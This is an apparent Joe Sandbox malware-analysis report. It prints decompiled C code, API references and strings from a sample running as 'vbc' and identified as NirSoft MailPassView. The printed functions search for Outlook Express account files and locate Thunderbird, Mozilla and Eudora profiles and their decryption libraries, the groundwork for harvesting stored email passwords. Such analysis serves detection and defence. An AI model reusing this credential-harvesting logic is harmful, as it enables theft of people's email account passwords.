                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset$ByteCharMultiNameWidestrlen$ComputerUsermemcpy
                                                                                                              • String ID: 5$H$O$b$i$}$}
                                                                                                              • API String ID: 1832431107-3760989150
                                                                                                              • Opcode ID: 892f1d25977d50633ddef969ddbe2b4ff3cde350e5ee45bf306cc9825cca91de
                                                                                                              • Instruction ID: 8a8033fc9206e0c4c361a826d49ab5f0cafd1e40d7200dcd25d3d532c5214641
                                                                                                              • Opcode Fuzzy Hash: 892f1d25977d50633ddef969ddbe2b4ff3cde350e5ee45bf306cc9825cca91de
                                                                                                              • Instruction Fuzzy Hash: AC510871C0025DBEDB11CBA8CC41AEEBBBDEF49314F0442EAE955E6191D3389B84CB65
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00404837 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 52libraryloaderwindowCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 326 404837-404860 LoadLibraryA 327 404862-404870 GetProcAddress 326->327 328 40488a-404892 #17 326->328 330 404872-404876 327->330 331 40487b-404884 FreeLibrary 327->331 329 404893-404898 328->329 332 4048b1-4048b5 329->332 333 40489a-4048b0 MessageBoxA 329->333 335 404879 330->335 331->328 334 404886-404888 331->334 334->329 335->331
                                                                                                              C-Code - Quality: 58%
                                                                                                              			E00404837(void* __ecx) {
				intOrPtr _v8;
				char _v12;
				struct HWND__* _t6;
				_Unknown_base(*)()* _t11;
				struct HWND__* _t13;
				struct HWND__* _t15;
				void* _t20;
				struct HINSTANCE__* _t23;

				_v12 = 8;
				_v8 = 0xff;
				_t15 = 0;
				_t20 = 0;
				_t23 = LoadLibraryA("comctl32.dll");
				if(_t23 == 0) {
					L5:
					__imp__#17();
					_t6 = 1;
					L6:
					if(_t6 != 0) {
						return 1;
					} else {
						MessageBoxA(_t6, "Error: Cannot load the common control classes.", "Error", 0x30);
						return 0;
					}
				}
				_t11 = GetProcAddress(_t23, "InitCommonControlsEx");
				if(_t11 != 0) {
					_t20 = 1; // executed
					_t13 =  *_t11( &_v12); // executed
					_t15 = _t13;
				}
				FreeLibrary(_t23);
				if(_t20 == 0) {
					goto L5;
				} else {
					_t6 = _t15;
					goto L6;
				}
			}











                                                                                                              0x00404844
                                                                                                              0x0040484b
                                                                                                              0x00404852
                                                                                                              0x00404854
                                                                                                              0x0040485c
                                                                                                              0x00404860
                                                                                                              0x0040488a
                                                                                                              0x0040488a
                                                                                                              0x00404892
                                                                                                              0x00404893
                                                                                                              0x00404898
                                                                                                              0x004048b5
                                                                                                              0x0040489a
                                                                                                              0x004048a7
                                                                                                              0x004048b0
                                                                                                              0x004048b0
                                                                                                              0x00404898
                                                                                                              0x00404868
                                                                                                              0x00404870
                                                                                                              0x00404876
                                                                                                              0x00404877
                                                                                                              0x00404879
                                                                                                              0x00404879
                                                                                                              0x0040487c
                                                                                                              0x00404884
                                                                                                              0x00000000
                                                                                                              0x00404886
                                                                                                              0x00404886
                                                                                                              0x00000000
                                                                                                              0x00404886

                                                                                                              APIs
                                                                                                              • LoadLibraryA.KERNEL32(comctl32.dll), ref: 00404856
                                                                                                              • GetProcAddress.KERNEL32(00000000,InitCommonControlsEx,?,00000000,?,?,?,0040B9C9,74EC1245), ref: 00404868
                                                                                                              • FreeLibrary.KERNEL32(00000000,?,00000000,?,?,?,0040B9C9,74EC1245), ref: 0040487C
                                                                                                              • #17.COMCTL32(?,00000000,?,?,?,0040B9C9,74EC1245), ref: 0040488A
                                                                                                              • MessageBoxA.USER32 ref: 004048A7
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Library$AddressFreeLoadMessageProc
                                                                                                              • String ID: Error$Error: Cannot load the common control classes.$InitCommonControlsEx$comctl32.dll
                                                                                                              • API String ID: 2780580303-317687271
                                                                                                              • Opcode ID: d22177ebd0c61848c13c07c1ee885c4d1d7d21c72c3c38fe6be86b3f4f770b99
                                                                                                              • Instruction ID: 848b23aeb75660b77c3c697252adc3032e5e70f3caa3a854567a53d2e3e71345
                                                                                                              • Opcode Fuzzy Hash: d22177ebd0c61848c13c07c1ee885c4d1d7d21c72c3c38fe6be86b3f4f770b99
                                                                                                              • Instruction Fuzzy Hash: 3E0126723102017FD7156BA08D48BAF7AACEB84749F008139F602E21C0EBF8C912D6AC
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00406EC3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58filestringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E00406EC3(void** __eax) {
				void* __esi;
				void* _t15;
				int _t16;
				int _t17;
				void* _t26;
				void** _t38;
				void** _t40;
				void* _t45;

				_t40 = __eax;
				_t15 =  *__eax;
				if(_t15 != 0xffffffff) {
					_t16 = FindNextFileA(_t15,  &(__eax[0x52])); // executed
					 *(_t45 + 4) = _t16;
					if(_t16 != 0) {
						goto L5;
					} else {
						E00406F5B(_t40);
						goto L4;
					}
				} else {
					_t26 = FindFirstFileA( &(__eax[1]),  &(__eax[0x52])); // executed
					 *_t40 = _t26;
					 *(_t45 + 4) = 0 | _t26 != 0xffffffff;
					L4:
					if( *(_t45 + 4) != 0) {
						L5:
						_t38 =  &(_t40[0xa2]);
						_t28 =  &(_t40[0x5d]);
						_t41 =  &(_t40[0xf3]);
						_t17 = strlen( &(_t40[0xf3]));
						if(strlen( &(_t40[0x5d])) + _t17 + 1 >= 0x143) {
							 *_t38 = 0;
						} else {
							E004062AD(_t38, _t41, _t28);
						}
					}
				}
				return  *(_t45 + 4);
			}











                                                                                                              0x00406ec5
                                                                                                              0x00406ec7
                                                                                                              0x00406ecc
                                                                                                              0x00406ef7
                                                                                                              0x00406eff
                                                                                                              0x00406f03
                                                                                                              0x00000000
                                                                                                              0x00406f05
                                                                                                              0x00406f05
                                                                                                              0x00000000
                                                                                                              0x00406f05
                                                                                                              0x00406ece
                                                                                                              0x00406ed9
                                                                                                              0x00406ee7
                                                                                                              0x00406ee9
                                                                                                              0x00406f0a
                                                                                                              0x00406f0f
                                                                                                              0x00406f11
                                                                                                              0x00406f14
                                                                                                              0x00406f1a
                                                                                                              0x00406f20
                                                                                                              0x00406f27
                                                                                                              0x00406f3f
                                                                                                              0x00406f4e
                                                                                                              0x00406f41
                                                                                                              0x00406f45
                                                                                                              0x00406f4b
                                                                                                              0x00406f53
                                                                                                              0x00406f0f
                                                                                                              0x00406f5a

                                                                                                              APIs
                                                                                                              • FindFirstFileA.KERNELBASE(?,?,?,?,00410CA1,*.oeaccount,rA,?,00000104), ref: 00406ED9
                                                                                                              • FindNextFileA.KERNELBASE(?,?,?,?,00410CA1,*.oeaccount,rA,?,00000104), ref: 00406EF7
                                                                                                              • strlen.MSVCRT ref: 00406F27
                                                                                                              • strlen.MSVCRT ref: 00406F2F
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FileFindstrlen$FirstNext
                                                                                                              • String ID: rA
                                                                                                              • API String ID: 379999529-474049127
                                                                                                              • Opcode ID: 9a66d1681466aca7d0b3f0cd3a87e00f7da5b3e9059264b02d426353c7cea173
                                                                                                              • Instruction ID: 479c8733b6b08075922562257f7174063dbd0ea9e1486761d8d5d3546bede414
                                                                                                              • Opcode Fuzzy Hash: 9a66d1681466aca7d0b3f0cd3a87e00f7da5b3e9059264b02d426353c7cea173
                                                                                                              • Instruction Fuzzy Hash: 00118272005205AFD714DB34E844ADBB3D9DF44324F21493FF55AD21D0EB38A9548758
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00401E8B Relevance: 52.8, APIs: 19, Strings: 11, Instructions: 261stringregistryCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              C-Code - Quality: 97%
                                                                                                              			E00401E8B(void* __eflags, char* _a4) {
				signed int _v8;
				int _v12;
				void _v275;
				char _v276;
				void _v539;
				char _v540;
				void _v795;
				char _v796;
				void _v1059;
				char _v1060;
				void _v1323;
				char _v1324;
				void _v2347;
				char _v2348;
				void* __edi;
				void* __esi;
				int _t65;
				char* _t69;
				char _t70;
				int _t71;
				char _t75;
				void* _t76;
				long _t78;
				void* _t83;
				int _t85;
				void* _t87;
				int _t104;
				int _t108;
				char _t126;
				void* _t137;
				void* _t139;
				char* _t157;
				char* _t158;
				char* _t160;
				int _t161;
				void* _t164;
				CHAR* _t169;
				char* _t170;
				void* _t171;
				void* _t172;
				void* _t173;
				void* _t174;
				void* _t175;

				_v540 = 0;
				memset( &_v539, 0, 0x104);
				_t164 = 0x1a;
				E0040EE59( &_v540, _t164); // executed
				_t65 = strlen("Mozilla\\Profiles");
				_t6 = strlen( &_v540) + 1; // 0x1
				_t172 = _t171 + 0x14;
				if(_t65 + _t6 >= 0x104) {
					_t69 = _a4;
					 *_t69 = 0;
					_t157 = _t69;
				} else {
					_t157 = _a4;
					E004062AD(_t157,  &_v540, "Mozilla\\Profiles");
				}
				_t70 = E0040614B(_t157);
				if(_t70 == 0) {
					 *_t157 = _t70;
				}
				_t158 = _t157 + 0x105;
				_t71 = strlen("Thunderbird\\Profiles");
				_t12 = strlen( &_v540) + 1; // 0x1
				if(_t71 + _t12 >= 0x104) {
					 *_t158 = 0;
				} else {
					E004062AD(_t158,  &_v540, "Thunderbird\\Profiles");
				}
				_t75 = E0040614B(_t158);
				_pop(_t137);
				if(_t75 == 0) {
					 *_t158 = _t75;
				}
				_t160 = _a4 + 0x20a;
				_t76 = E00401C97(_t137, _t160, 0x80000001, "Software\\Qualcomm\\Eudora\\CommandLine", "current"); // executed
				_t173 = _t172 + 0xc;
				if(_t76 == 0) {
					_t126 = E00401C97(_t137, _t160, 0x80000002, "Software\\Classes\\Software\\Qualcomm\\Eudora\\CommandLine\\current", 0x412466); // executed
					_t173 = _t173 + 0xc;
					if(_t126 == 0) {
						 *_t160 = _t126;
					}
				}
				_v8 = _v8 & 0x00000000;
				_t78 = E0040EB3F(0x80000002, "Software\\Mozilla\\Mozilla Thunderbird",  &_v8);
				_t174 = _t173 + 0xc;
				if(_t78 != 0) {
					L32:
					_t169 = _a4 + 0x30f;
					if( *_t169 != 0) {
						L35:
						return _t78;
					}
					ExpandEnvironmentStringsA("%programfiles%\\Mozilla Thunderbird", _t169, 0x104);
					_t78 = E0040614B(_t169);
					if(_t78 != 0) {
						goto L35;
					}
					 *_t169 = _t78;
					return _t78;
				} else {
					_v796 = _t78;
					_t161 = 0;
					memset( &_v795, 0, 0xff);
					_v12 = 0;
					_t83 = E0040EC05(_v8, 0,  &_v796);
					_t175 = _t174 + 0x18;
					if(_t83 != 0) {
						L31:
						_t78 = RegCloseKey(_v8);
						goto L32;
					}
					_t170 = "sqlite3.dll";
					do {
						_t85 = atoi( &_v796);
						_pop(_t139);
						if(_t85 < 3) {
							goto L28;
						}
						_v2348 = 0;
						memset( &_v2347, _t161, 0x3ff);
						_v276 = 0;
						memset( &_v275, _t161, 0x104);
						sprintf( &_v2348, "%s\\Main",  &_v796);
						E0040EBC1(_t139, _v8,  &_v2348, "Install Directory",  &_v276, 0x104);
						_t175 = _t175 + 0x38;
						if(_v276 != 0 && E0040614B( &_v276) != 0) {
							_v1060 = 0;
							memset( &_v1059, _t161, 0x104);
							_v1324 = 0;
							memset( &_v1323, _t161, 0x104);
							_t104 = strlen(_t170);
							_t41 = strlen( &_v276) + 1; // 0x1
							_t175 = _t175 + 0x20;
							if(_t104 + _t41 >= 0x104) {
								_v1060 = 0;
							} else {
								E004062AD( &_v1060,  &_v276, _t170);
							}
							_t108 = strlen("nss3.dll");
							_t47 = strlen( &_v276) + 1; // 0x1
							if(_t108 + _t47 >= 0x104) {
								_v1324 = 0;
							} else {
								E004062AD( &_v1324,  &_v276, "nss3.dll");
							}
							if(E0040614B( &_v1060) == 0 || E0040614B( &_v1324) == 0) {
								_t161 = 0;
								goto L28;
							} else {
								strcpy(_a4 + 0x30f,  &_v276);
								goto L31;
							}
						}
						L28:
						_v12 = _v12 + 1;
						_t87 = E0040EC05(_v8, _v12,  &_v796);
						_t175 = _t175 + 0xc;
					} while (_t87 == 0);
					goto L31;
				}
			}














































                                                                                                              0x00401ea6
                                                                                                              0x00401ead
                                                                                                              0x00401eb4
                                                                                                              0x00401ebb
                                                                                                              0x00401ec6
                                                                                                              0x00401ed9
                                                                                                              0x00401edd
                                                                                                              0x00401ee2
                                                                                                              0x00401efa
                                                                                                              0x00401efd
                                                                                                              0x00401f00
                                                                                                              0x00401ee4
                                                                                                              0x00401ee4
                                                                                                              0x00401ef1
                                                                                                              0x00401ef7
                                                                                                              0x00401f03
                                                                                                              0x00401f0b
                                                                                                              0x00401f0d
                                                                                                              0x00401f0d
                                                                                                              0x00401f14
                                                                                                              0x00401f1a
                                                                                                              0x00401f2d
                                                                                                              0x00401f35
                                                                                                              0x00401f4e
                                                                                                              0x00401f37
                                                                                                              0x00401f45
                                                                                                              0x00401f4b
                                                                                                              0x00401f52
                                                                                                              0x00401f59
                                                                                                              0x00401f5a
                                                                                                              0x00401f5c
                                                                                                              0x00401f5c
                                                                                                              0x00401f6b
                                                                                                              0x00401f76
                                                                                                              0x00401f7b
                                                                                                              0x00401f85
                                                                                                              0x00401f92
                                                                                                              0x00401f97
                                                                                                              0x00401f9c
                                                                                                              0x00401f9e
                                                                                                              0x00401f9e
                                                                                                              0x00401f9c
                                                                                                              0x00401fa0
                                                                                                              0x00401fae
                                                                                                              0x00401fb3
                                                                                                              0x00401fb8
                                                                                                              0x004021a9
                                                                                                              0x004021ac
                                                                                                              0x004021b5
                                                                                                              0x004021d5
                                                                                                              0x004021d5
                                                                                                              0x004021d5
                                                                                                              0x004021be
                                                                                                              0x004021c5
                                                                                                              0x004021cd
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x004021cf
                                                                                                              0x00000000
                                                                                                              0x00401fbe
                                                                                                              0x00401fc3
                                                                                                              0x00401fc9
                                                                                                              0x00401fd3
                                                                                                              0x00401fe3
                                                                                                              0x00401fe6
                                                                                                              0x00401feb
                                                                                                              0x00401ff0
                                                                                                              0x004021a0
                                                                                                              0x004021a3
                                                                                                              0x00000000
                                                                                                              0x004021a3
                                                                                                              0x00401ff6
                                                                                                              0x00401ffb
                                                                                                              0x00402002
                                                                                                              0x0040200a
                                                                                                              0x0040200b
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040201e
                                                                                                              0x00402025
                                                                                                              0x00402033
                                                                                                              0x0040203a
                                                                                                              0x00402052
                                                                                                              0x0040206e
                                                                                                              0x00402073
                                                                                                              0x0040207d
                                                                                                              0x004020a1
                                                                                                              0x004020a8
                                                                                                              0x004020b6
                                                                                                              0x004020bd
                                                                                                              0x004020c3
                                                                                                              0x004020d6
                                                                                                              0x004020da
                                                                                                              0x004020df
                                                                                                              0x004020f8
                                                                                                              0x004020e1
                                                                                                              0x004020ef
                                                                                                              0x004020f5
                                                                                                              0x00402104
                                                                                                              0x00402117
                                                                                                              0x0040211f
                                                                                                              0x0040213c
                                                                                                              0x00402121
                                                                                                              0x00402133
                                                                                                              0x00402139
                                                                                                              0x00402152
                                                                                                              0x00402165
                                                                                                              0x00000000
                                                                                                              0x00402189
                                                                                                              0x00402199
                                                                                                              0x00000000
                                                                                                              0x0040219f
                                                                                                              0x00402152
                                                                                                              0x00402167
                                                                                                              0x00402167
                                                                                                              0x00402177
                                                                                                              0x0040217c
                                                                                                              0x0040217f
                                                                                                              0x00000000
                                                                                                              0x00402187

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 00401EAD
                                                                                                                • Part of subcall function 0040EE59: SHGetSpecialFolderPathA.SHELL32(00000000,00000000,0000001A,00000000,00000104), ref: 0040EE90
                                                                                                              • strlen.MSVCRT ref: 00401EC6
                                                                                                              • strlen.MSVCRT ref: 00401ED4
                                                                                                              • strlen.MSVCRT ref: 00401F1A
                                                                                                              • strlen.MSVCRT ref: 00401F28
                                                                                                              • memset.MSVCRT ref: 00401FD3
                                                                                                              • atoi.MSVCRT ref: 00402002
                                                                                                              • memset.MSVCRT ref: 00402025
                                                                                                              • sprintf.MSVCRT ref: 00402052
                                                                                                                • Part of subcall function 0040EBC1: RegCloseKey.KERNEL32(000003FF), ref: 0040EBFA
                                                                                                              • memset.MSVCRT ref: 004020A8
                                                                                                              • memset.MSVCRT ref: 004020BD
                                                                                                              • strlen.MSVCRT ref: 004020C3
                                                                                                              • strlen.MSVCRT ref: 004020D1
                                                                                                              • strlen.MSVCRT ref: 00402104
                                                                                                              • strlen.MSVCRT ref: 00402112
                                                                                                              • memset.MSVCRT ref: 0040203A
                                                                                                                • Part of subcall function 004062AD: strcpy.MSVCRT(00000000,00000000,sqlite3.dll,00402138,00000000,nss3.dll), ref: 004062B5
                                                                                                                • Part of subcall function 004062AD: strcat.MSVCRT(00000000,00000000,00000000,00000000,sqlite3.dll,00402138,00000000,nss3.dll), ref: 004062C4
                                                                                                              • strcpy.MSVCRT(?,00000000), ref: 00402199
                                                                                                              • RegCloseKey.ADVAPI32(00000000), ref: 004021A3
                                                                                                              • ExpandEnvironmentStringsA.KERNEL32(%programfiles%\Mozilla Thunderbird,?,00000104,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004021BE
                                                                                                                • Part of subcall function 0040614B: GetFileAttributesA.KERNELBASE(?,004081BE,?,00408274,00000000,?,00000000,00000104,?), ref: 0040614F
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: strlen$memset$Closestrcpy$AttributesEnvironmentExpandFileFolderPathSpecialStringsatoisprintfstrcat
                                                                                                              • String ID: %programfiles%\Mozilla Thunderbird$%s\Main$Install Directory$Mozilla\Profiles$Software\Classes\Software\Qualcomm\Eudora\CommandLine\current$Software\Mozilla\Mozilla Thunderbird$Software\Qualcomm\Eudora\CommandLine$Thunderbird\Profiles$current$nss3.dll$sqlite3.dll
                                                                                                              • API String ID: 1212093029-4223776976
                                                                                                              • Opcode ID: a37e4146336d51848b1bd73744024cd58021eacaf2b1820e7b73ac14c0bf45b4
                                                                                                              • Instruction ID: fcae88f02dbfb35d0bd4b12665d2d891c1e7b320b053452542e36e55e3802549
                                                                                                              • Opcode Fuzzy Hash: a37e4146336d51848b1bd73744024cd58021eacaf2b1820e7b73ac14c0bf45b4
                                                                                                              • Instruction Fuzzy Hash: C891E472904158BADB21E765CC46FDA77AC9F44308F1004BBF609F2182EB789BD58B5D
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040B9AD Relevance: 43.9, APIs: 19, Strings: 6, Instructions: 168COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              C-Code - Quality: 85%
                                                                                                              			E0040B9AD(void* __ecx, void* __eflags, struct HINSTANCE__* _a4, intOrPtr _a12) {
				char* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v304;
				signed int _v308;
				struct HWND__* _v312;
				intOrPtr _v604;
				struct HACCEL__* _v620;
				struct HWND__* _v644;
				char _v900;
				char _v904;
				char _v908;
				struct tagMSG _v936;
				intOrPtr _v940;
				struct HWND__* _v944;
				struct HWND__* _v948;
				char _v956;
				char _v980;
				char _v988;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t49;
				void* _t52;
				int _t56;
				int _t58;
				int _t68;
				void* _t72;
				int _t75;
				int _t77;
				struct HWND__* _t78;
				int _t80;
				int _t85;
				int _t86;
				struct HWND__* _t100;

				 *0x416b94 = _a4; // executed
				_t49 = E00404837(__ecx); // executed
				if(_t49 != 0) {
					E0040EDAC();
					_t52 = E00406A2C( &_v980);
					_t100 = 0;
					_v940 = 0x20;
					_v948 = 0;
					_v936.hwnd = 0;
					_v944 = 0;
					_v936.message = 0;
					E0040B785(_t52,  &_v900);
					_v8 =  &_v980;
					E00406C87(__eflags,  &_v980, _a12);
					_t56 = E00406DFB(_v16, "/savelangfile");
					__eflags = _t56;
					if(_t56 < 0) {
						E0040823D(); // executed
						_t58 = E00406DFB(_v8, "/deleteregkey");
						__eflags = _t58;
						if(_t58 < 0) {
							 *0x417110 = 0x11223344;
							EnumResourceTypesA( *0x416b94, E0040ED91, 0);
							__eflags =  *0x417110 - 0x1c233487;
							if( *0x417110 == 0x1c233487) {
								__eflags =  *((intOrPtr*)(_v12 + 0x30)) - 1;
								if(__eflags <= 0) {
									L13:
									__imp__CoInitialize(_t100);
									E0040B70A( &_v908);
									__eflags = _v604 - 3;
									if(_v604 != 3) {
										_push(5);
									} else {
										_push(3);
									}
									ShowWindow(_v644, ??);
									UpdateWindow(_v644);
									_v620 = LoadAcceleratorsA( *0x416b94, 0x67);
									E0040AD9D( &_v908);
									_t68 = GetMessageA( &_v936, _t100, _t100, _t100);
									__eflags = _t68;
									if(_t68 == 0) {
										L24:
										__imp__CoUninitialize();
										goto L25;
									} else {
										do {
											_t75 = TranslateAcceleratorA(_v644, _v620,  &_v936);
											__eflags = _t75;
											if(_t75 != 0) {
												goto L23;
											}
											_t78 =  *0x4171ac;
											__eflags = _t78 - _t100;
											if(_t78 == _t100) {
												L21:
												_t80 = IsDialogMessageA(_v644,  &_v936);
												__eflags = _t80;
												if(_t80 == 0) {
													TranslateMessage( &_v936);
													DispatchMessageA( &_v936);
												}
												goto L23;
											}
											_t85 = IsDialogMessageA(_t78,  &_v936);
											__eflags = _t85;
											if(_t85 != 0) {
												goto L23;
											}
											goto L21;
											L23:
											_t77 = GetMessageA( &_v936, _t100, _t100, _t100);
											__eflags = _t77;
										} while (_t77 != 0);
										goto L24;
									}
								}
								_t86 = E0040B8D7( &_v904, __eflags);
								__eflags = _t86;
								if(_t86 == 0) {
									_t100 = 0;
									__eflags = 0;
									goto L13;
								}
								_push(_v28);
								_v904 = 0x41356c;
								L004115D6();
								__eflags = _v304;
								if(_v304 != 0) {
									DeleteObject(_v304);
									_v308 = _v308 & 0x00000000;
								}
								goto L27;
							}
							MessageBoxA(0, "Failed to load the executable file !", "Error", 0x30);
							goto L25;
						}
						RegDeleteKeyA(0x80000001, "Software\\NirSoft\\MailPassView");
						goto L25;
					} else {
						 *0x417488 = 0x416b28;
						E0040836E();
						L25:
						_push(_v32);
						_v908 = 0x41356c;
						L004115D6();
						__eflags = _v308 - _t100;
						if(_v308 != _t100) {
							DeleteObject(_v308);
							_v312 = _t100;
						}
						L27:
						_v908 = 0x412474;
						E00406A4E( &_v988);
						E0040462E( &_v956);
						E00406A4E( &_v988);
						_t72 = 0;
						__eflags = 0;
						goto L28;
					}
				} else {
					_t72 = _t49 + 1;
					L28:
					return _t72;
				}
			}








































                                                                                                              0x0040b9bf
                                                                                                              0x0040b9c4
                                                                                                              0x0040b9cb
                                                                                                              0x0040b9d3
                                                                                                              0x0040b9dc
                                                                                                              0x0040b9e1
                                                                                                              0x0040b9e7
                                                                                                              0x0040b9ef
                                                                                                              0x0040b9f3
                                                                                                              0x0040b9f7
                                                                                                              0x0040b9fb
                                                                                                              0x0040b9ff
                                                                                                              0x0040ba0c
                                                                                                              0x0040ba13
                                                                                                              0x0040ba24
                                                                                                              0x0040ba29
                                                                                                              0x0040ba2b
                                                                                                              0x0040ba41
                                                                                                              0x0040ba52
                                                                                                              0x0040ba57
                                                                                                              0x0040ba59
                                                                                                              0x0040ba7c
                                                                                                              0x0040ba86
                                                                                                              0x0040ba8c
                                                                                                              0x0040ba96
                                                                                                              0x0040bab7
                                                                                                              0x0040babb
                                                                                                              0x0040bb09
                                                                                                              0x0040bb0a
                                                                                                              0x0040bb14
                                                                                                              0x0040bb19
                                                                                                              0x0040bb21
                                                                                                              0x0040bb27
                                                                                                              0x0040bb23
                                                                                                              0x0040bb23
                                                                                                              0x0040bb23
                                                                                                              0x0040bb30
                                                                                                              0x0040bb3d
                                                                                                              0x0040bb51
                                                                                                              0x0040bb5c
                                                                                                              0x0040bb6f
                                                                                                              0x0040bb71
                                                                                                              0x0040bb73
                                                                                                              0x0040bbe3
                                                                                                              0x0040bbe3
                                                                                                              0x00000000
                                                                                                              0x0040bb75
                                                                                                              0x0040bb7b
                                                                                                              0x0040bb8e
                                                                                                              0x0040bb94
                                                                                                              0x0040bb96
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040bb98
                                                                                                              0x0040bb9d
                                                                                                              0x0040bb9f
                                                                                                              0x0040bbad
                                                                                                              0x0040bbb9
                                                                                                              0x0040bbbb
                                                                                                              0x0040bbbd
                                                                                                              0x0040bbc4
                                                                                                              0x0040bbcf
                                                                                                              0x0040bbcf
                                                                                                              0x00000000
                                                                                                              0x0040bbbd
                                                                                                              0x0040bba7
                                                                                                              0x0040bba9
                                                                                                              0x0040bbab
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040bbd5
                                                                                                              0x0040bbdd
                                                                                                              0x0040bbdf
                                                                                                              0x0040bbdf
                                                                                                              0x00000000
                                                                                                              0x0040bb7b
                                                                                                              0x0040bb73
                                                                                                              0x0040bac1
                                                                                                              0x0040bac6
                                                                                                              0x0040bac8
                                                                                                              0x0040bb07
                                                                                                              0x0040bb07
                                                                                                              0x00000000
                                                                                                              0x0040bb07
                                                                                                              0x0040baca
                                                                                                              0x0040bad1
                                                                                                              0x0040bad9
                                                                                                              0x0040bade
                                                                                                              0x0040bae7
                                                                                                              0x0040baf4
                                                                                                              0x0040bafa
                                                                                                              0x0040bafa
                                                                                                              0x00000000
                                                                                                              0x0040bae7
                                                                                                              0x0040baa5
                                                                                                              0x00000000
                                                                                                              0x0040baa5
                                                                                                              0x0040ba65
                                                                                                              0x00000000
                                                                                                              0x0040ba2d
                                                                                                              0x0040ba2d
                                                                                                              0x0040ba37
                                                                                                              0x0040bbe9
                                                                                                              0x0040bbe9
                                                                                                              0x0040bbf0
                                                                                                              0x0040bbf8
                                                                                                              0x0040bbfd
                                                                                                              0x0040bc05
                                                                                                              0x0040bc0e
                                                                                                              0x0040bc14
                                                                                                              0x0040bc14
                                                                                                              0x0040bc1b
                                                                                                              0x0040bc1f
                                                                                                              0x0040bc27
                                                                                                              0x0040bc30
                                                                                                              0x0040bc39
                                                                                                              0x0040bc3e
                                                                                                              0x0040bc3e
                                                                                                              0x00000000
                                                                                                              0x0040bc3e
                                                                                                              0x0040b9cd
                                                                                                              0x0040b9cd
                                                                                                              0x0040bc40
                                                                                                              0x0040bc46
                                                                                                              0x0040bc46

                                                                                                              APIs
                                                                                                                • Part of subcall function 00404837: LoadLibraryA.KERNEL32(comctl32.dll), ref: 00404856
                                                                                                                • Part of subcall function 00404837: GetProcAddress.KERNEL32(00000000,InitCommonControlsEx,?,00000000,?,?,?,0040B9C9,74EC1245), ref: 00404868
                                                                                                                • Part of subcall function 00404837: FreeLibrary.KERNEL32(00000000,?,00000000,?,?,?,0040B9C9,74EC1245), ref: 0040487C
                                                                                                                • Part of subcall function 00404837: MessageBoxA.USER32 ref: 004048A7
                                                                                                              • ??3@YAXPAX@Z.MSVCRT ref: 0040BBF8
                                                                                                              • DeleteObject.GDI32(?), ref: 0040BC0E
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Library$??3@AddressDeleteFreeLoadMessageObjectProc
                                                                                                              • String ID: $/deleteregkey$/savelangfile$Error$Failed to load the executable file !$Software\NirSoft\MailPassView
                                                                                                              • API String ID: 745651260-414181363
                                                                                                              • Opcode ID: e4ac121d43bcfd85fe0a049a2ed8d4d615210acba499a00e3dd401073b2a3fcf
